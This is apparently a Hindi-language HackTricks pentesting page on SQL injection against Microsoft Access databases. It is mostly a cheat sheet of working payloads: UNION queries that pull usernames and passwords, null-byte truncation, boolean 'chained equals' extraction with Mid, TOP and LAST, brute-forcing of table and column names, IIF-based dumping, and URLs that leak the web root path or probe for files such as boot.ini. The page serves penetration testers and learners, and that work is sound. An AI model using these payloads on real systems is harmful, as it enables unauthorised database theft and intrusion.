hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

18 KiB

MS Access SQL इंजेक्शन

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

ऑनलाइन प्लेग्राउंड

DB सीमाएँ

स्ट्रिंग संयोजन

स्ट्रिंग संयोजन & (%26) और + (%2b) अक्षरों के साथ संभव है।

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

टिप्पणियाँ

MS access में कोई टिप्पणियाँ नहीं होती हैं, परंतु ऐसा प्रतीत होता है कि किसी क्वेरी के अंतिम भाग को NULL चरित्र के साथ हटाना संभव है:

1' union select 1,2 from table%00

यदि यह काम नहीं कर रहा है तो आप हमेशा क्वेरी के सिंटैक्स को ठीक कर सकते हैं:

1' UNION SELECT 1,2 FROM table WHERE ''='

स्टैक्ड क्वेरीज

ये समर्थित नहीं हैं।

LIMIT

LIMIT ऑपरेटर लागू नहीं किया गया है। हालांकि, SELECT क्वेरी परिणामों को पहले N टेबल पंक्तियों तक सीमित करना संभव है TOP ऑपरेटर का उपयोग करकेTOP एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाए जाने वाले पंक्तियों की संख्या को दर्शाता है।

1' UNION SELECT TOP 3 attr FROM table%00

जैसे कि TOP का उपयोग करते हैं, आप LAST का उपयोग कर सकते हैं जो अंतिम पंक्तियों को प्राप्त करेगा।

UNION प्रश्न/उप प्रश्न

SQLi में आप आमतौर पर अन्य तालिकाओं से जानकारी निकालने के लिए एक नया प्रश्न निष्पादित करना चाहेंगे। MS Access हमेशा आवश्यकता होती है कि उप प्रश्नों या अतिरिक्त प्रश्नों में एक FROM का संकेत दिया जाए
इसलिए, यदि आप UNION SELECT या UNION ALL SELECT या एक शर्त में कोष्ठकों के बीच SELECT निष्पादित करना चाहते हैं, तो आपको हमेशा एक मान्य तालिका नाम के साथ FROM का संकेत देना होगा
इसलिए, आपको एक मान्य तालिका नाम जानना आवश्यक है।

-1' UNION SELECT username,password from users%00

चेनिंग बराबर + सबस्ट्रिंग

{% hint style="warning" %} यह आपको वर्तमान तालिका के मानों को बिना तालिका के नाम को जाने निकालने की अनुमति देगा। {% endhint %}

MS Access जैसे अजीब सिंटैक्स की अनुमति देता है '1'=2='3'='asd'=false. आमतौर पर SQL इंजेक्शन WHERE क्लॉज के अंदर होगा और हम इसका दुरुपयोग कर सकते हैं।

कल्पना कीजिए कि आपके पास MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाया है) कि एक कॉलम का नाम username है, और वही फील्ड है जिसे आप निकालना चाहते हैं। आप वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं जब चेनिंग बराबर तकनीक का उपयोग किया जाता है और संभवतः Mid फंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए बूलियन इंजेक्शन के साथ सामग्री निकाल सकते हैं।

'=(Mid(username,1,3)='adm')='

यदि आप टेबल का नाम और कॉलम जानते हैं जिसे डंप करना है, तो आप Mid, LAST और TOP का संयोजन करके बूलियन SQLi के माध्यम से सभी जानकारी लीक कर सकते हैं:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

निम्नलिखित ऑनलाइन प्लेग्राउंड में जांच करने के लिए स्वतंत्र हैं।

टेबल नामों की ब्रूट-फोर्सिंग

चेनिंग इक्वल्स तकनीक का उपयोग करके आप टेबल नामों की ब्रूटफोर्स भी कर सकते हैं जैसे कि:

'=(select+top+1+'lala'+from+<table_name>)='

आप एक और पारंपरिक तरीका भी इस्तेमाल कर सकते हैं:

-1' AND (SELECT TOP 1 <table_name>)%00

ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए स्वतंत्र रहें।

कॉलम नामों की ब्रूट-फोर्सिंग

आप वर्तमान कॉलम नामों को ब्रूट-फोर्स कर सकते हैं चेनिंग इक्वल्स ट्रिक के साथ:

'=column_name='

या group by के साथ:

-1' GROUP BY column_name%00

या आप अलग तालिका के कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

डेटा डंप करना

हम पहले ही चेनिंग इक्वल्स तकनीक के बारे में चर्चा कर चुके हैं जिसका उपयोग वर्तमान और अन्य टेबल्स से डेटा डंप करने के लिए किया जाता है। लेकिन अन्य तरीके भी हैं:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

संक्षेप में, क्वेरी "यदि-तब" कथन का उपयोग करती है ताकि सफलता की स्थिति में "200 OK" ट्रिगर किया जा सके या अन्यथा "500 आंतरिक त्रुटि" हो। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन संभव है। बाद में LAST का उपयोग करके केवल 10वें ट्यूपल पर विचार किया जा सकता है। ऐसे मूल्य पर, MID ऑपरेटर का उपयोग करके, एक सरल अक्षर तुलना की जा सकती है। MID और TOP के सूचकांक को उचित रूप से बदलकर, हम "username" फील्ड की सभी पंक्तियों की सामग्री को डंप कर सकते हैं।

समय आधारित

https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN पर जांचें

अन्य रोचक फंक्शन्स

  • Mid('admin',1,1) स्थिति 1 से लंबाई 1 का उपस्ट्रिंग प्राप्त करें (प्रारंभिक स्थिति 1 है)
  • LEN('1234') स्ट्रिंग की लंबाई प्राप्त करें
  • ASC('A') अक्षर का आस्की मान प्राप्त करें
  • CHR(65) आस्की मान से स्ट्रिंग प्राप्त करें
  • IIF(1=1,'a','b') यदि तब
  • COUNT(*) आइटमों की संख्या गिनें

टेबल्स की गणना

यहाँ से आप डेटाबेस में टेबल्स के नाम प्राप्त करने के लिए क्वेरी देख सकते हैं:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

हालांकि, ध्यान दें कि SQL Injections खोजना बहुत सामान्य है जहां आपके पास MSysObjects तालिका को पढ़ने की पहुंच नहीं होती

FileSystem पहुंच

वेब रूट डायरेक्टरी का पूरा पथ

वेब रूट के पूर्ण पथ की जानकारी आगे के हमलों को सुगम बना सकती है। यदि एप्लिकेशन त्रुटियां पूरी तरह से छिपी नहीं हैं, तो निर्मित नहीं किए गए डेटाबेस से डेटा चुनने की कोशिश करके डायरेक्टरी पथ का पता लगाया जा सकता है।

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access वेब डायरेक्टरी के पूर्ण पथनाम के साथ एक त्रुटि संदेश प्रतिक्रिया करता है

फाइल एन्यूमरेशन

निम्नलिखित हमला वेक्टर का उपयोग दूरस्थ फाइलसिस्टम पर एक फाइल के अस्तित्व का अनुमान लगाने के लिए किया जा सकता है। यदि निर्दिष्ट फाइल मौजूद है, तो MS Access एक त्रुटि संदेश ट्रिगर करता है जो सूचित करता है कि डेटाबेस प्रारूप अमान्य है:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

फाइलों को एन्यूमरेट करने का एक और तरीका एक डेटाबेस.टेबल आइटम को निर्दिष्ट करने में होता हैयदि निर्दिष्ट फाइल मौजूद है, MS Access एक डेटाबेस प्रारूप त्रुटि संदेश प्रदर्शित करता है

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb फाइल नाम अनुमान

डेटाबेस फाइल नाम (.mdb) निम्नलिखित क्वेरी के साथ अनुमान लगाया जा सकता है:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

जहां name[i] एक .mdb फाइलनाम है और realTable डेटाबेस के भीतर एक मौजूद टेबल है। हालांकि MS Access हमेशा एक त्रुटि संदेश ट्रिगर करेगा, यह संभव है कि एक अमान्य फाइलनाम और एक मान्य .mdb फाइलनाम के बीच अंतर किया जा सके।

.mdb पासवर्ड क्रैकर

Access PassView एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनः प्राप्त करने के लिए किया जा सकता है।

संदर्भ

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: